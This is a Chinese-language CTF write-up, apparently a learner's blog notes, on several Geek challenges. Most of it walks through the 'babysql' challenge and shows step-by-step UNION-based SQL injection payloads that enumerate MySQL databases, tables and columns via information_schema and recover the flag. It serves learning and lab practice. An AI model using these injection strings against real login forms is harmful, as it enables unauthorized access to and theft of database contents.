Geek 学习

Web

Dark

暗网，正常比赛不出，跳

Welcome2021

F12 Network 刷新，现在进不去了不知道咋写

babysql

以前没接触过sql注入，所以从头学。
sql基本语法：https://kodosan.com/359.html

联合查询注入的原理就是在语句select … from … where …=uname中先用随便什么值加个引号（因为uname用户名正常情况下是字符串）把前边的语句结束了（如’-1’），然后在后面接上一堆自己想用的sql查询命令。但sql查个东西都得指定是哪个数据库哪个表哪列（列倒是能直接用*），我咋知道有啥数据库有啥表。不过MySQL他有一个叫information_schema的数据库，里边把数据库名表名列名（或许应该叫字段？）都写出来的。所以开始就用这个语句查一下都有啥数据库:

SELECT schema_name from information_schema.SCHEMATA

然而这是个联合注入，不是直接查询，所以得打开harkbar，先乱输点啥用户名和密码提交，然后loadurl看看链接里有没有uname和pwd。要没有那就是post发的，打开post data再点loadurl就有了。之后我们就可以在uname=后边输上联合查询形式的上边的语句。别忘了把后边的引号注释掉要加#或者-- -或者-- +

uname=-1' UNION SELECT schema_name from information_schema.SCHEMATA#&pwd=1

然后你就傻了，因为他报错了。

为啥捏，因为这个联合查询吧他要求你前边查几列后边就得查几列。我前边就是啥都没查到你也得跟着我几列就是几列。那没招，一列一列的加。你会发现加到第四列就不报错了。

uname=-1' UNION SELECT schema_name,2 from information_schema.SCHEMATA#&pwd=1
uname=-1' UNION SELECT schema_name,2,3 from information_schema.SCHEMATA#&pwd=1
uname=-1' UNION SELECT schema_name,2,3,4 from information_schema.SCHEMATA#&pwd=1

弹出的窗口上显示

your uname:information_schema and your pwd:2

然后你又傻了。

为啥捏，因为你就查到了一个information_schema，这不搁着搁着呢吗？

其实真正原因是，他就给你显示了一行。那咋办捏，不急，我们可以用group_concat把这列所有行挤到第一行里去.

uname=-1' UNION SELECT group_concat(schema_name),2,3,4 from information_schema.SCHEMATA#&pwd=1

uname:information_schema,performance_schema,test,mysql,flag,babysql and your pwd:2

然后我们就能看到一个叫flag的数据库，那就继续到information_schema.tables里去找flag数据库里有哪些表。

uname=-1' union select group_concat(table_name),2,3,4 from information_schema.tables where table_schema='flag'#&pwd=1

your uname:fllag and your pwd:2

这里table_schema是tables里的一个字段，表示这行的表是哪个数据库的。

继续查

uname=-1' union select group_concat(column_name),2,3,4 from information_schema.columns where table_schema='flag' and table_name='fllag'#&pwd=1

显示

your uname:fllllllag,wlz and your pwd:2

那现在数据库名表名列名都知道了，直接查fllllllag里看看有啥

uname= -1' union select group_concat(fllllllag),2,3,4 from flag.fllag#&pwd=1

显示

your uname:SYC{U_4N0vv_Sql_Noyv~} and your pwd:2

babyPOP